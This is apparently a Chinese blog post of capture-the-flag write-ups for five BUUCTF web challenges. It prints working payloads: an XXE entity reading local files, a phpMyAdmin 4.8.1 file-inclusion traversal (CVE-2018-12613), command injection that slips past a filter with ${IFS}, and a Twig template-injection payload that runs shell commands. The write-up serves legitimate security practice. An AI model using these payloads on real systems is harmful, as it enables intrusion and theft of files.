BUUCTF-WEB(41-45)

[NCTF2019]Fake XML cookbook

代码处找到

image-20240526151809893

题目也提示了是xxe,我们抓包搞一下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe "hack">]>
<user><username>&xxe;</username><password>123</password></user>

image-20240526153350665

然后我们就读取一下这个flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>123</password></user>

成功拿下flag

image-20240526153515245

[GWCTF 2019]我有一个数据库

参考:

[BUUCTF GWCTF 2019] 我有一个数据库_buuctf我有有一个数据库-CSDN博客

扫描目录有一个robots.txt

phpinfo.php

里面让我们去访问phpinfo.php

然后还有扫到phpmyadmin的目录,我们去访问一下

搜集到信息

image-20240526162316129

然后搜版本号找到漏洞CVE-2018-12613phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客

image-20240526162420341

?target=db_sql.php%253f/../../../../../../../../flag

image-20240526162948016

[BJDCTF2020]Mark loves cat

参考:[BJDCTF2020]Mark loves cat | 四种解法 (新解法:强类型比较绕过) - Nestar - 博客园 (cnblogs.com)

这边看到有git泄露

image-20240526193421583

我就直接githack跑了一下

但是啊,我这边githack没啥用很奇怪,什么都没提取出来

然后我就在我自己的机器上跑,没在kali了

image-20240526194746185

也是皇天不负有心人,终于得到了

image-20240526194813598

然后我们打开flag.php确认了flag的位置

image-20240526194839055

然后就打开了index.php

image-20240526194903512

看着有点变量覆盖的味道,然后exit就是die

image-20240526195118511

我们看看第二个条件

就是flag不被GET,POST赋值就输出yds这个变量,但是我们又想让$yds=$flag,那我们就可以利用这个GET这个方法

如果我们GET传入的是

yds=flag

经过那个变量覆盖就是

$yds=$flag

最后输出$yds的值,也就是flag,得到flag(这个回显是在这个网页的最左下角)

image-20240526201146661

更多解法,大家可以看[BJDCTF2020]Mark loves cat | 四种解法 (新解法:强类型比较绕过) - Nestar - 博客园 (cnblogs.com)

[WUSTCTF2020]朴实无华

robots.txt发现一个文件

image-20240527084555003

bp抓包后发现

image-20240527084634097

我这里一直乱码

image-20240527085022884

我这边使用了egde浏览器,然后下了一个扩展

image-20240527085241484

来显示

image-20240527085253416

第一层绕过就是

科学计数法:经过本地测试,在php版本小于等于7.0.9时,intval("1e2")的结果是1,即转换字符串时,遇到字母停止,但是intval("1e2"+1)的结果却是101,这种特性可以绕过诸如intval($num)>2020&&intval($num)>2021。但是当php版本>7.0.9时,这种方法就失效了,因为intval("1e2")和intval(1e2)的值均为100。

payload如下:

num=1e4

第二层就是MD5弱比较只要本身字符串0e开头,MD5加密后还是0e开头就行

md5=0e215962017

第三层

strstr那个判断就是我们不能有空白符,我们可以用${IFS}绕过

意思就是不能用cat

image-20240527090206375

我们先ls看一下文件

?num=1e4&md5=0e215962017&get_flag=ls

image-20240527090310674

然后查看文件

?num=1e4&md5=0e215962017&get_flag=c''at${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image-20240527091849835

[BJDCTF2020]Cookie is so stable

参考:

[buuctf-BJDCTF2020]Cookie is so stable(小宇特详解)_buuctf cookie is so stable-CSDN博客

upfine的博客 (cnblogs.com)

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

提示就是cookie,我们拿去解密一下,MD5解密,解不出来说明我有问题

image-20240527163016727

然后就是SSTI,我输入了

{{7*7}}

回显就是49,说明存在模板注入

payload:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image-20240527163932341

posted @ 2024-05-27 18:05  Muneyoshi  阅读(39)  评论(0)    收藏  举报